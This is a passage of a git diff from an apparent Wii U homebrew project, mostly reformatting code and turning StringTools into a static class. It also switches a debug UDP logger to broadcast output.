ReleaseText[0], ReleaseText[1], ReleaseText[2], ReleaseText[3]); + else if (len == 6) + snprintf(ReleaseText, sizeof(ReleaseText), "%c%c/%c%c%c%c", ReleaseText[4], ReleaseText[5], ReleaseText[0], ReleaseText[1], ReleaseText[2], ReleaseText[3]); + else + snprintf(ReleaseText, sizeof(ReleaseText), "%s", ReleaseText); - Releasedate = ReleaseText; + Releasedate = ReleaseText; - node = appNode->FirstChildElement("arguments"); - if(!node) - return true; + node = appNode->FirstChildElement("arguments"); + if(!node) + return true; - TiXmlElement *argNode = node->FirstChildElement("arg"); + TiXmlElement *argNode = node->FirstChildElement("arg"); - while(argNode) - { - if(argNode->FirstChild() && argNode->FirstChild()->Value()) - Arguments.push_back(std::string(argNode->FirstChild()->Value())); + while(argNode) { + if(argNode->FirstChild() && argNode->FirstChild()->Value()) + Arguments.push_back(std::string(argNode->FirstChild()->Value())); - argNode = argNode->NextSiblingElement(); - } + argNode = argNode->NextSiblingElement(); + } - return true; + return true; } /* Set argument */ -void HomebrewXML::SetArgument(const char* argument) -{ - // Crop value from argument, if present - char argName[strlen(argument)+1]; - strcpy(argName, argument); - char *ptr = strrchr(argName, '='); - if(ptr) *(ptr+1) = 0; +void HomebrewXML::SetArgument(const char* argument) { + // Crop value from argument, if present + char argName[strlen(argument)+1]; + strcpy(argName, argument); + char *ptr = strrchr(argName, '='); + if(ptr) + *(ptr+1) = 0; - // Check if argument already exists and edit it - bool found = false; - for(u8 i=0; i < Arguments.size(); i++) - { - size_t pos = Arguments[i].find(argName); - if(pos != std::string::npos) - { - Arguments[i] = argument; - found = true; - break; - } - } + // Check if argument already exists and edit it + bool found = false; + for(uint8_t i=0; i < Arguments.size(); i++) { + size_t pos = Arguments[i].find(argName); + if(pos != std::string::npos) { + Arguments[i] = argument; + found = true; + break; + } + } - // if it doesn't exist, add the new argument. - if(!found) - Arguments.push_back(argument); + // if it doesn't exist, add the new argument. + if(!found) + Arguments.push_back(argument); } /* Get name */ -const char * HomebrewXML::GetName() const -{ - return Name.c_str(); +const char * HomebrewXML::GetName() const { + return Name.c_str(); } /* Set Name */ -void HomebrewXML::SetName(char * newName) -{ - Name = newName; +void HomebrewXML::SetName(char * newName) { + Name = newName; } /* Get coder */ -const char * HomebrewXML::GetCoder() const -{ - return Coder.c_str(); +const char * HomebrewXML::GetCoder() const { + return Coder.c_str(); } /* Get version */ -const char * HomebrewXML::GetVersion() const -{ - return Version.c_str(); +const char * HomebrewXML::GetVersion() const { + return Version.c_str(); } /* Set version */ -void HomebrewXML::SetVersion(const char * newVer) -{ - Version = newVer; +void HomebrewXML::SetVersion(const char * newVer) { + Version = newVer; } /* Get releasedate */ -const char * HomebrewXML::GetReleasedate() const -{ - return Releasedate.c_str(); +const char * HomebrewXML::GetReleasedate() const { + return Releasedate.c_str(); } /* Get shortdescription */ -const char * HomebrewXML::GetShortDescription() const -{ - return ShortDescription.c_str(); +const char * HomebrewXML::GetShortDescription() const { + return ShortDescription.c_str(); } /* Get longdescription */ -const char * HomebrewXML::GetLongDescription() const -{ - return LongDescription.c_str(); +const char * HomebrewXML::GetLongDescription() const { + return LongDescription.c_str(); } diff --git a/src/utils/HomebrewXML.h b/src/utils/HomebrewXML.h index 56289f4..4b4118f 100644 --- a/src/utils/HomebrewXML.h +++ b/src/utils/HomebrewXML.h @@ -4,33 +4,36 @@ #include #include -class HomebrewXML -{ - public: - HomebrewXML() { }; - HomebrewXML(const char* filename) { LoadHomebrewXMLData(filename); }; +class HomebrewXML { +public: + HomebrewXML() { }; + HomebrewXML(const char* filename) { + LoadHomebrewXMLData(filename); + }; - bool LoadHomebrewXMLData(const char* filename); + bool LoadHomebrewXMLData(const char* filename); - const char * GetName() const; - void SetName(char * newName); - const char * GetCoder() const; - const char * GetVersion() const; - void SetVersion(const char * newVer); - const char * GetReleasedate() const; - const char * GetShortDescription() const; - const char * GetLongDescription() const; - const std::vector & GetArguments() const { return Arguments; }; - void SetArgument(const char* argument); + const char * GetName() const; + void SetName(char * newName); + const char * GetCoder() const; + const char * GetVersion() const; + void SetVersion(const char * newVer); + const char * GetReleasedate() const; + const char * GetShortDescription() const; + const char * GetLongDescription() const; + const std::vector & GetArguments() const { + return Arguments; + }; + void SetArgument(const char* argument); - protected: - std::string Name; - std::string Coder; - std::string Version; - std::string Releasedate; - std::string ShortDescription; - std::string LongDescription; - std::vector Arguments; +protected: + std::string Name; + std::string Coder; + std::string Version; + std::string Releasedate; + std::string ShortDescription; + std::string LongDescription; + std::vector Arguments; }; #endif diff --git a/src/utils/StringTools.cpp b/src/utils/StringTools.cpp index 7fff008..7144cfa 100644 --- a/src/utils/StringTools.cpp +++ b/src/utils/StringTools.cpp @@ -30,164 +30,168 @@ #include #include #include -#include "common/types.h" +#include +#include +#include +#include -const char * fmt(const char * format, ...) -{ - static char strChar[512]; - strChar[0] = 0; - char * tmp = NULL; - va_list va; - va_start(va, format); - if((vasprintf(&tmp, format, va) >= 0) && tmp) - { - snprintf(strChar, sizeof(strChar), tmp); - free(tmp); - va_end(va); - return (const char *) strChar; - } - va_end(va); - - if(tmp) - free(tmp); - - return NULL; +BOOL StringTools::EndsWith(const std::string& a, const std::string& b) { + if (b.size() > a.size()) + return false; + return std::equal(a.begin() + a.size() - b.size(), a.end(), b.begin()); } -const wchar_t * wfmt(const char * format, ...) -{ - static wchar_t strWChar[512]; - strWChar[0] = 0; +const char * StringTools::byte_to_binary(int32_t x) { + static char b[9]; + b[0] = '\0'; - if(!format) - return (const wchar_t *) strWChar; + int32_t z; + for (z = 128; z > 0; z >>= 1) { + strcat(b, ((x & z) == z) ? "1" : "0"); + } - if(strcmp(format, "") == 0) - return (const wchar_t *) strWChar; - - char * tmp = NULL; - - va_list va; - va_start(va, format); - if((vasprintf(&tmp, format, va) >= 0) && tmp) - { - int bt; - int strlength = strlen(tmp); - bt = mbstowcs(strWChar, tmp, (strlength < 512) ? strlength : 512 ); - free(tmp); - tmp = 0; - - if(bt > 0) - { - strWChar[bt] = 0; - return (const wchar_t *) strWChar; - } - } - va_end(va); - - if(tmp) - free(tmp); - - return NULL; + return b; } -int strprintf(std::string &str, const char * format, ...) -{ - int result = 0; - char * tmp = NULL; - - va_list va; - va_start(va, format); - if((vasprintf(&tmp, format, va) >= 0) && tmp) - { - str = tmp; - result = str.size(); - } - va_end(va); - - if(tmp) - free(tmp); - - return result; +std::string StringTools::removeCharFromString(std::string& input,char toBeRemoved) { + std::string output = input; + size_t position; + while(1) { + position = output.find(toBeRemoved); + if(position == std::string::npos) + break; + output.erase(position, 1); + } + return output; } -std::string strfmt(const char * format, ...) -{ - std::string str; - char * tmp = NULL; +const char * StringTools::fmt(const char * format, ...) { + static char strChar[512]; + strChar[0] = 0; - va_list va; - va_start(va, format); - if((vasprintf(&tmp, format, va) >= 0) && tmp) - { - str = tmp; - } - va_end(va); + va_list va; + va_start(va, format); + if((vsprintf(strChar, format, va) >= 0)) { + va_end(va); + return (const char *) strChar; + } + va_end(va); - if(tmp) - free(tmp); - - return str; + return NULL; } -bool char2wchar_t(const char * strChar, wchar_t * dest) -{ - if(!strChar || !dest) - return false; +const wchar_t * StringTools::wfmt(const char * format, ...) { + static char tmp[512]; + static wchar_t strWChar[512]; + strWChar[0] = 0; + tmp[0] = 0; - int bt; - bt = mbstowcs(dest, strChar, strlen(strChar)); - if (bt > 0) { - dest[bt] = 0; - return true; - } + if(!format) + return (const wchar_t *) strWChar; - return false; + if(strcmp(format, "") == 0) + return (const wchar_t *) strWChar; + + va_list va; + va_start(va, format); + if((vsprintf(tmp, format, va) >= 0)) { + int bt; + int32_t strlength = strlen(tmp); + bt = mbstowcs(strWChar, tmp, (strlength < 512) ? strlength : 512 ); + + if(bt > 0) { + strWChar[bt] = 0; + return (const wchar_t *) strWChar; + } + } + va_end(va); + + return NULL; } -int strtokcmp(const char * string, const char * compare, const char * separator) -{ - if(!string || !compare) - return -1; +int32_t StringTools::strprintf(std::string &str, const char * format, ...) { + static char tmp[512]; + tmp[0] = 0; + int32_t result = 0; - char TokCopy[512]; - strncpy(TokCopy, compare, sizeof(TokCopy)); - TokCopy[511] = '\0'; + va_list va; + va_start(va, format); + if((vsprintf(tmp, format, va) >= 0)) { + str = tmp; + result = str.size(); + } + va_end(va); - char * strTok = strtok(TokCopy, separator); - - while (strTok != NULL) - { - if (strcasecmp(string, strTok) == 0) - { - return 0; - } - strTok = strtok(NULL,separator); - } - - return -1; + return result; } -int strextcmp(const char * string, const char * extension, char seperator) -{ - if(!string || !extension) - return -1; +std::string StringTools::strfmt(const char * format, ...) { + std::string str; + static char tmp[512]; + tmp[0] = 0; - char *ptr = strrchr(string, seperator); - if(!ptr) - return -1; + va_list va; + va_start(va, format); + if((vsprintf(tmp, format, va) >= 0)) { + str = tmp; + } + va_end(va); - return strcasecmp(ptr + 1, extension); + return str; +} + +BOOL StringTools::char2wchar_t(const char * strChar, wchar_t * dest) { + if(!strChar || !dest) + return false; + + int bt; + bt = mbstowcs(dest, strChar, strlen(strChar)); + if (bt > 0) { + dest[bt] = 0; + return true; + } + + return false; +} + +int32_t StringTools::strtokcmp(const char * string, const char * compare, const char * separator) { + if(!string || !compare) + return -1; + + char TokCopy[512]; + strncpy(TokCopy, compare, sizeof(TokCopy)); + TokCopy[511] = '\0'; + + char * strTok = strtok(TokCopy, separator); + + while (strTok != NULL) { + if (strcasecmp(string, strTok) == 0) { + return 0; + } + strTok = strtok(NULL,separator); + } + + return -1; +} + +int32_t StringTools::strextcmp(const char * string, const char * extension, char seperator) { + if(!string || !extension) + return -1; + + char *ptr = strrchr(string, seperator); + if(!ptr) + return -1; + + return strcasecmp(ptr + 1, extension); } -std::vector stringSplit(const std::string & inValue, const std::string & splitter) -{ +std::vector StringTools::stringSplit(const std::string & inValue, const std::string & splitter) { std::string value = inValue; std::vector result; while (true) { - unsigned int index = value.find(splitter); + uint32_t index = value.find(splitter); if (index == std::string::npos) { result.push_back(value); break; diff --git a/src/utils/StringTools.h b/src/utils/StringTools.h index 897376a..1f0e336 100644 --- a/src/utils/StringTools.h +++ b/src/utils/StringTools.h @@ -28,51 +28,53 @@ #include #include -#include "common/types.h" +#include -const char * fmt(const char * format, ...); -const wchar_t * wfmt(const char * format, ...); -int strprintf(std::string &str, const char * format, ...); -std::string strfmt(const char * format, ...); -bool char2wchar_t(const char * src, wchar_t * dest); -int strtokcmp(const char * string, const char * compare, const char * separator); -int strextcmp(const char * string, const char * extension, char seperator); +class StringTools { +public: + static BOOL EndsWith(const std::string& a, const std::string& b); + static const char * byte_to_binary(int32_t x); + static std::string removeCharFromString(std::string& input,char toBeRemoved); + static const char * fmt(const char * format, ...); + static const wchar_t * wfmt(const char * format, ...); + static int32_t strprintf(std::string &str, const char * format, ...); + static std::string strfmt(const char * format, ...); + static BOOL char2wchar_t(const char * src, wchar_t * dest); + static int32_t strtokcmp(const char * string, const char * compare, const char * separator); + static int32_t strextcmp(const char * string, const char * extension, char seperator); -inline const char * FullpathToFilename(const char *path) -{ - if(!path) return path; + static const char * FullpathToFilename(const char *path) { + if(!path) + return path; - const char * ptr = path; - const char * Filename = ptr; + const char * ptr = path; + const char * Filename = ptr; - while(*ptr != '\0') - { - if(ptr[0] == '/' && ptr[1] != '\0') - Filename = ptr+1; + while(*ptr != '\0') { + if(ptr[0] == '/' && ptr[1] != '\0') + Filename = ptr+1; - ++ptr; - } + ++ptr; + } - return Filename; -} + return Filename; + } -inline void RemoveDoubleSlashs(std::string &str) -{ - u32 length = str.size(); + static void RemoveDoubleSlashs(std::string &str) { + uint32_t length = str.size(); - //! clear path of double slashes - for(u32 i = 1; i < length; ++i) - { - if(str[i-1] == '/' && str[i] == '/') - { - str.erase(i, 1); - i--; - length--; - } - } -} + //! clear path of double slashes + for(uint32_t i = 1; i < length; ++i) { + if(str[i-1] == '/' && str[i] == '/') { + str.erase(i, 1); + i--; + length--; + } + } + } -std::vector stringSplit(const std::string & value, const std::string & splitter); + static std::vector stringSplit(const std::string & value, const std::string & splitter); +}; #endif /* __STRING_TOOLS_H */ diff --git a/src/utils/logger.c b/src/utils/logger.c index 90f4497..0922230 100644 --- a/src/utils/logger.c +++ b/src/utils/logger.c @@ -1,61 +1,48 @@ -#include #include #include #include #include #include +#include #include -#include "common/common.h" -#include "logger.h" +#include -#ifdef DEBUG_LOGGER -static int log_socket = -1; -static volatile int log_lock = 0; +#include +#include -void log_init(const char * ipString) -{ - log_socket = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); - if (log_socket < 0) - return; +static int log_socket __attribute__((section(".data")))= -1; +static struct sockaddr_in connect_addr __attribute__((section(".data"))); +static volatile int log_lock __attribute__((section(".data"))) = 0; - struct sockaddr_in connect_addr; - memset(&connect_addr, 0, sizeof(connect_addr)); - connect_addr.sin_family = AF_INET; - connect_addr.sin_port = 4405; - inet_aton(ipString, &connect_addr.sin_addr); +void log_init_() { + int broadcastEnable = 1; + log_socket = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); + if (log_socket < 0) + return; - if(connect(log_socket, (struct sockaddr*)&connect_addr, sizeof(connect_addr)) < 0) - { - socketclose(log_socket); - log_socket = -1; - } + setsockopt(log_socket, SOL_SOCKET, SO_BROADCAST, &broadcastEnable, sizeof(broadcastEnable)); + + memset(&connect_addr, 0, sizeof(struct sockaddr_in)); + connect_addr.sin_family = AF_INET; + connect_addr.sin_port = 4405; + connect_addr.sin_addr.s_addr = htonl(INADDR_BROADCAST); } -void log_deinit(void) -{ - if(log_socket >= 0) - { - socketclose(log_socket); - log_socket = -1; - } -} - -void log_print(const char *str) -{ +void log_print_(const char *str) { // socket is always 0 initially as it is in the BSS if(log_socket < 0) { return; } while(log_lock) - usleep(1000); + OSSleepTicks(OSMicrosecondsToTicks(1000)); log_lock = 1; int len = strlen(str); int ret; while (len > 0) { int block = len < 1400 ? len : 1400; // take max 1400 bytes per UDP packet - ret = send(log_socket, str, block, 0); + ret = sendto(log_socket, str, block, 0, (struct sockaddr *)&connect_addr, sizeof(struct sockaddr_in)); if(ret < 0) break; @@ -66,23 +53,30 @@ void log_print(const char *str) log_lock = 0; } -void log_printf(const char *format, ...) -{ +void OSFatal_printf(const char *format, ...) { + char tmp[512]; + tmp[0] = 0; + va_list va; + va_start(va, format); + if((vsprintf(tmp, format, va) >= 0)) { + OSFatal(tmp); + } + va_end(va); +} + +void log_printf_(const char *format, ...) { if(log_socket < 0) { return; } - char * tmp = NULL; + char tmp[512]; + tmp[0] = 0; - va_list va; - va_start(va, format); - if((vasprintf(&tmp, format, va) >= 0) && tmp) - { - log_print(tmp); - } - va_end(va); - - if(tmp) - free(tmp); + va_list va; + va_start(va, format); + if((vsprintf(tmp, format, va) >= 0)) { + log_print_(tmp); + } + va_end(va); } -#endif + diff --git a/src/utils/logger.h b/src/utils/logger.h index 0e19ad3..d026b05 100644 --- a/src/utils/logger.h +++ b/src/utils/logger.h @@ -5,19 +5,31 @@ extern "C" { #endif -//#define DEBUG_LOGGER 1 +#include -#ifdef DEBUG_LOGGER -void log_init(const char * ip); -void log_deinit(void); -void log_print(const char *str); -void log_printf(const char *format, ...); -#else -#define log_init(x) -#define log_deinit() -#define log_print(x) -#define log_printf(x, ...) -#endif +void log_init_(); +//void log_deinit_(void); +void log_print_(const char *str); +void log_printf_(const char *format, ...); +void OSFatal_printf(const char *format, ...); + +#define __FILENAME_X__ (strrchr(__FILE__, '\\') ? strrchr(__FILE__, '\\') + 1 : __FILE__) +#define __FILENAME__ (strrchr(__FILE__, '/') ? strrchr(__FILE__, '/') + 1 : __FILENAME_X__) + +#define OSFATAL_FUNCTION_LINE(FMT, ARGS...)do { \ + OSFatal_printf("[%s]%s@L%04d: " FMT "",__FILENAME__,__FUNCTION__, __LINE__, ## ARGS); \ + } while (0) + + + +#define log_init() log_init_() +//#define log_deinit() log_deinit_() +#define log_print(str) log_print_(str) +#define log_printf(FMT, ARGS...) log_printf_(FMT, ## ARGS); + +#define DEBUG_FUNCTION_LINE(FMT, ARGS...)do { \ + log_printf("[%23s]%30s@L%04d: " FMT "",__FILENAME__,__FUNCTION__, __LINE__, ## ARGS); \ + } while (0) #ifdef __cplusplus } diff --git a/src/utils/net.c b/src/utils/net.c index 139acb7..48a8423 100644 --- a/src/utils/net.c +++ b/src/utils/net.c @@ -1,11 +1,9 @@ #include -int recvwait(int sock, unsigned char *buffer, int len) -{ +int recvwait(int sock, unsigned char *buffer, int len) { int recvBytes = 0; - while(len) - { + while(len) { int ret = recv(sock, buffer, len, 0); if(ret <= 0) { return ret; diff --git a/src/utils/tinyxml.cpp b/src/utils/tinyxml.cpp index cac4463..935a867 100644 --- a/src/utils/tinyxml.cpp +++ b/src/utils/tinyxml.cpp @@ -35,1148 +35,1005 @@ FILE* TiXmlFOpen( const char* filename, const char* mode ); bool TiXmlBase::condenseWhiteSpace = false; // Microsoft compiler security -FILE* TiXmlFOpen( const char* filename, const char* mode ) -{ - #if defined(_MSC_VER) && (_MSC_VER >= 1400 ) - FILE* fp = 0; - errno_t err = fopen_s( &fp, filename, mode ); - if ( !err && fp ) - return fp; - return 0; - #else - return fopen( filename, mode ); - #endif +FILE* TiXmlFOpen( const char* filename, const char* mode ) { +#if defined(_MSC_VER) && (_MSC_VER >= 1400 ) + FILE* fp = 0; + errno_t err = fopen_s( &fp, filename, mode ); + if ( !err && fp ) + return fp; + return 0; +#else + return fopen( filename, mode ); +#endif } -void TiXmlBase::EncodeString( const TIXML_STRING& str, TIXML_STRING* outString ) -{ - int i=0; +void TiXmlBase::EncodeString( const TIXML_STRING& str, TIXML_STRING* outString ) { + int i=0; - while( i<(int)str.length() ) - { - unsigned char c = (unsigned char) str[i]; + while( i<(int)str.length() ) { + unsigned char c = (unsigned char) str[i]; - if ( c == '&' - && i < ( (int)str.length() - 2 ) - && str[i+1] == '#' - && str[i+2] == 'x' ) - { - // Hexadecimal character reference. - // Pass through unchanged. - // © -- copyright symbol, for example. - // - // The -1 is a bug fix from Rob Laveaux. It keeps - // an overflow from happening if there is no ';'. - // There are actually 2 ways to exit this loop - - // while fails (error case) and break (semicolon found). - // However, there is no mechanism (currently) for - // this function to return an error. - while ( i<(int)str.length()-1 ) - { - outString->append( str.c_str() + i, 1 ); - ++i; - if ( str[i] == ';' ) - break; - } - } - else if ( c == '&' ) - { - outString->append( entity[0].str, entity[0].strLength ); - ++i; - } - else if ( c == '<' ) - { - outString->append( entity[1].str, entity[1].strLength ); - ++i; - } - else if ( c == '>' ) - { - outString->append( entity[2].str, entity[2].strLength ); - ++i; - } - else if ( c == '\"' ) - { - outString->append( entity[3].str, entity[3].strLength ); - ++i; - } - else if ( c == '\'' ) - { - outString->append( entity[4].str, entity[4].strLength ); - ++i; - } - else if ( c < 32 && c != '\n' && c != '\r' ) - { - // Easy pass at non-alpha/numeric/symbol - // Below 32 is symbolic. - char buf[ 32 ]; + if ( c == '&' + && i < ( (int)str.length() - 2 ) + && str[i+1] == '#' + && str[i+2] == 'x' ) { + // Hexadecimal character reference. + // Pass through unchanged. + // © -- copyright symbol, for example. + // + // The -1 is a bug fix from Rob Laveaux. It keeps + // an overflow from happening if there is no ';'. + // There are actually 2 ways to exit this loop - + // while fails (error case) and break (semicolon found). + // However, there is no mechanism (currently) for + // this function to return an error. + while ( i<(int)str.length()-1 ) { + outString->append( str.c_str() + i, 1 ); + ++i; + if ( str[i] == ';' ) + break; + } + } else if ( c == '&' ) { + outString->append( entity[0].str, entity[0].strLength ); + ++i; + } else if ( c == '<' ) { + outString->append( entity[1].str, entity[1].strLength ); + ++i; + } else if ( c == '>' ) { + outString->append( entity[2].str, entity[2].strLength ); + ++i; + } else if ( c == '\"' ) { + outString->append( entity[3].str, entity[3].strLength ); + ++i; + } else if ( c == '\'' ) { + outString->append( entity[4].str, entity[4].strLength ); + ++i; + } else if ( c < 32 && c != '\n' && c != '\r' ) { + // Easy pass at non-alpha/numeric/symbol + // Below 32 is symbolic. + char buf[ 32 ]; - #if defined(TIXML_SNPRINTF) - TIXML_SNPRINTF( buf, sizeof(buf), "&#x%02X;", (unsigned) ( c & 0xff ) ); - #else - sprintf( buf, "&#x%02X;", (unsigned) ( c & 0xff ) ); - #endif +#if defined(TIXML_SNPRINTF) + TIXML_SNPRINTF( buf, sizeof(buf), "&#x%02X;", (unsigned) ( c & 0xff ) ); +#else + sprintf( buf, "&#x%02X;", (unsigned) ( c & 0xff ) ); +#endif - //*ME: warning C4267: convert 'size_t' to 'int' - //*ME: Int-Cast to make compiler happy ... - outString->append( buf, (int)strlen( buf ) ); - ++i; - } - else - { - //char realc = (char) c; - //outString->append( &realc, 1 ); - *outString += (char) c; // somewhat more efficient function call. - ++i; - } - } + //*ME: warning C4267: convert 'size_t' to 'int' + //*ME: Int-Cast to make compiler happy ... + outString->append( buf, (int)strlen( buf ) ); + ++i; + } else { + //char realc = (char) c; + //outString->append( &realc, 1 ); + *outString += (char) c; // somewhat more efficient function call. + ++i; + } + } } -TiXmlNode::TiXmlNode( NodeType _type ) : TiXmlBase() -{ - parent = 0; - type = _type; - firstChild = 0; - lastChild = 0; - prev = 0; - next = 0; +TiXmlNode::TiXmlNode( NodeType _type ) : TiXmlBase() { + parent = 0; + type = _type; + firstChild = 0; + lastChild = 0; + prev = 0; + next = 0; } -TiXmlNode::~TiXmlNode() -{ - TiXmlNode* node = firstChild; - TiXmlNode* temp = 0; +TiXmlNode::~TiXmlNode() { + TiXmlNode* node = firstChild; + TiXmlNode* temp = 0; - while ( node ) - { - temp = node; - node = node->next; - delete temp; - } + while ( node ) { + temp = node; + node = node->next; + delete temp; + } } -void TiXmlNode::CopyTo( TiXmlNode* target ) const -{ - target->SetValue (value.c_str() ); - target->userData = userData; - target->location = location; +void TiXmlNode::CopyTo( TiXmlNode* target ) const { + target->SetValue (value.c_str() ); + target->userData = userData; + target->location = location; } -void TiXmlNode::Clear() -{ - TiXmlNode* node = firstChild; - TiXmlNode* temp = 0; +void TiXmlNode::Clear() { + TiXmlNode* node = firstChild; + TiXmlNode* temp = 0; - while ( node ) - { - temp = node; - node = node->next; - delete temp; - } + while ( node ) { + temp = node; + node = node->next; + delete temp; + } - firstChild = 0; - lastChild = 0; + firstChild = 0; + lastChild = 0; } -TiXmlNode* TiXmlNode::LinkEndChild( TiXmlNode* node ) -{ - assert( node->parent == 0 || node->parent == this ); - assert( node->GetDocument() == 0 || node->GetDocument() == this->GetDocument() ); +TiXmlNode* TiXmlNode::LinkEndChild( TiXmlNode* node ) { + assert( node->parent == 0 || node->parent == this ); + assert( node->GetDocument() == 0 || node->GetDocument() == this->GetDocument() ); - if ( node->Type() == TiXmlNode::TINYXML_DOCUMENT ) - { - delete node; - if ( GetDocument() ) - GetDocument()->SetError( TIXML_ERROR_DOCUMENT_TOP_ONLY, 0, 0, TIXML_ENCODING_UNKNOWN ); - return 0; - } + if ( node->Type() == TiXmlNode::TINYXML_DOCUMENT ) { + delete node; + if ( GetDocument() ) + GetDocument()->SetError( TIXML_ERROR_DOCUMENT_TOP_ONLY, 0, 0, TIXML_ENCODING_UNKNOWN ); + return 0; + } - node->parent = this; + node->parent = this; - node->prev = lastChild; - node->next = 0; + node->prev = lastChild; + node->next = 0; - if ( lastChild ) - lastChild->next = node; - else - firstChild = node; // it was an empty list. + if ( lastChild ) + lastChild->next = node; + else + firstChild = node; // it was an empty list. - lastChild = node; - return node; + lastChild = node; + return node; } -TiXmlNode* TiXmlNode::InsertEndChild( const TiXmlNode& addThis ) -{ - if ( addThis.Type() == TiXmlNode::TINYXML_DOCUMENT ) - { - if ( GetDocument() ) - GetDocument()->SetError( TIXML_ERROR_DOCUMENT_TOP_ONLY, 0, 0, TIXML_ENCODING_UNKNOWN ); - return 0; - } - TiXmlNode* node = addThis.Clone(); - if ( !node ) - return 0; +TiXmlNode* TiXmlNode::InsertEndChild( const TiXmlNode& addThis ) { + if ( addThis.Type() == TiXmlNode::TINYXML_DOCUMENT ) { + if ( GetDocument() ) + GetDocument()->SetError( TIXML_ERROR_DOCUMENT_TOP_ONLY, 0, 0, TIXML_ENCODING_UNKNOWN ); + return 0; + } + TiXmlNode* node = addThis.Clone(); + if ( !node ) + return 0; - return LinkEndChild( node ); + return LinkEndChild( node ); } -TiXmlNode* TiXmlNode::InsertBeforeChild( TiXmlNode* beforeThis, const TiXmlNode& addThis ) -{ - if ( !beforeThis || beforeThis->parent != this ) { - return 0; - } - if ( addThis.Type() == TiXmlNode::TINYXML_DOCUMENT ) - { - if ( GetDocument() ) - GetDocument()->SetError( TIXML_ERROR_DOCUMENT_TOP_ONLY, 0, 0, TIXML_ENCODING_UNKNOWN ); - return 0; - } +TiXmlNode* TiXmlNode::InsertBeforeChild( TiXmlNode* beforeThis, const TiXmlNode& addThis ) { + if ( !beforeThis || beforeThis->parent != this ) { + return 0; + } + if ( addThis.Type() == TiXmlNode::TINYXML_DOCUMENT ) { + if ( GetDocument() ) + GetDocument()->SetError( TIXML_ERROR_DOCUMENT_TOP_ONLY, 0, 0, TIXML_ENCODING_UNKNOWN ); + return 0; + } - TiXmlNode* node = addThis.Clone(); - if ( !node ) - return 0; - node->parent = this; + TiXmlNode* node = addThis.Clone(); + if ( !node ) + return 0; + node->parent = this; - node->next = beforeThis; - node->prev = beforeThis->prev; - if ( beforeThis->prev ) - { - beforeThis->prev->next = node; - } - else - { - assert( firstChild == beforeThis ); - firstChild = node; - } - beforeThis->prev = node; - return node; + node->next = beforeThis; + node->prev = beforeThis->prev; + if ( beforeThis->prev ) { + beforeThis->prev->next = node; + } else { + assert( firstChild == beforeThis ); + firstChild = node; + } + beforeThis->prev = node; + return node; } -TiXmlNode* TiXmlNode::InsertAfterChild( TiXmlNode* afterThis, const TiXmlNode& addThis ) -{ - if ( !afterThis || afterThis->parent != this ) { - return 0; - } - if ( addThis.Type() == TiXmlNode::TINYXML_DOCUMENT ) - { - if ( GetDocument() ) - GetDocument()->SetError( TIXML_ERROR_DOCUMENT_TOP_ONLY, 0, 0, TIXML_ENCODING_UNKNOWN ); - return 0; - } +TiXmlNode* TiXmlNode::InsertAfterChild( TiXmlNode* afterThis, const TiXmlNode& addThis ) { + if ( !afterThis || afterThis->parent != this ) { + return 0; + } + if ( addThis.Type() == TiXmlNode::TINYXML_DOCUMENT ) { + if ( GetDocument() ) + GetDocument()->SetError( TIXML_ERROR_DOCUMENT_TOP_ONLY, 0, 0, TIXML_ENCODING_UNKNOWN ); + return 0; + } - TiXmlNode* node = addThis.Clone(); - if ( !node ) - return 0; - node->parent = this; + TiXmlNode* node = addThis.Clone(); + if ( !node ) + return 0; + node->parent = this; - node->prev = afterThis; - node->next = afterThis->next; - if ( afterThis->next ) - { - afterThis->next->prev = node; - } - else - { - assert( lastChild == afterThis ); - lastChild = node; - } - afterThis->next = node; - return node; + node->prev = afterThis; + node->next = afterThis->next; + if ( afterThis->next ) { + afterThis->next->prev = node; + } else { + assert( lastChild == afterThis ); + lastChild = node; + } + afterThis->next = node; + return node; } -TiXmlNode* TiXmlNode::ReplaceChild( TiXmlNode* replaceThis, const TiXmlNode& withThis ) -{ - if ( !replaceThis ) - return 0; +TiXmlNode* TiXmlNode::ReplaceChild( TiXmlNode* replaceThis, const TiXmlNode& withThis ) { + if ( !replaceThis ) + return 0; - if ( replaceThis->parent != this ) - return 0; + if ( replaceThis->parent != this ) + return 0; - if ( withThis.ToDocument() ) { - // A document can never be a child. Thanks to Noam. - TiXmlDocument* document = GetDocument(); - if ( document ) - document->SetError( TIXML_ERROR_DOCUMENT_TOP_ONLY, 0, 0, TIXML_ENCODING_UNKNOWN ); - return 0; - } + if ( withThis.ToDocument() ) { + // A document can never be a child. Thanks to Noam. + TiXmlDocument* document = GetDocument(); + if ( document ) + document->SetError( TIXML_ERROR_DOCUMENT_TOP_ONLY, 0, 0, TIXML_ENCODING_UNKNOWN ); + return 0; + } - TiXmlNode* node = withThis.Clone(); - if ( !node ) - return 0; + TiXmlNode* node = withThis.Clone(); + if ( !node ) + return 0; - node->next = replaceThis->next; - node->prev = replaceThis->prev; + node->next = replaceThis->next; + node->prev = replaceThis->prev; - if ( replaceThis->next ) - replaceThis->next->prev = node; - else - lastChild = node; + if ( replaceThis->next ) + replaceThis->next->prev = node; + else + lastChild = node; - if ( replaceThis->prev ) - replaceThis->prev->next = node; - else - firstChild = node; + if ( replaceThis->prev ) + replaceThis->prev->next = node; + else + firstChild = node; - delete replaceThis; - node->parent = this; - return node; + delete replaceThis; + node->parent = this; + return node; } -bool TiXmlNode::RemoveChild( TiXmlNode* removeThis ) -{ - if ( !removeThis ) { - return false; - } +bool TiXmlNode::RemoveChild( TiXmlNode* removeThis ) { + if ( !removeThis ) { + return false; + } - if ( removeThis->parent != this ) - { - assert( 0 ); - return false; - } + if ( removeThis->parent != this ) { + assert( 0 ); + return false; + } - if ( removeThis->next ) - removeThis->next->prev = removeThis->prev; - else - lastChild = removeThis->prev; + if ( removeThis->next ) + removeThis->next->prev = removeThis->prev; + else + lastChild = removeThis->prev; - if ( removeThis->prev ) - removeThis->prev->next = removeThis->next; - else - firstChild = removeThis->next; + if ( removeThis->prev ) + removeThis->prev->next = removeThis->next; + else + firstChild = removeThis->next; - delete removeThis; - return true; + delete removeThis; + return true; } -const TiXmlNode* TiXmlNode::FirstChild( const char * _value ) const -{ - const TiXmlNode* node; - for ( node = firstChild; node; node = node->next ) - { - if ( strcmp( node->Value(), _value ) == 0 ) - return node; - } - return 0; +const TiXmlNode* TiXmlNode::FirstChild( const char * _value ) const { + const TiXmlNode* node; + for ( node = firstChild; node; node = node->next ) { + if ( strcmp( node->Value(), _value ) == 0 ) + return node; + } + return 0; } -const TiXmlNode* TiXmlNode::LastChild( const char * _value ) const -{ - const TiXmlNode* node; - for 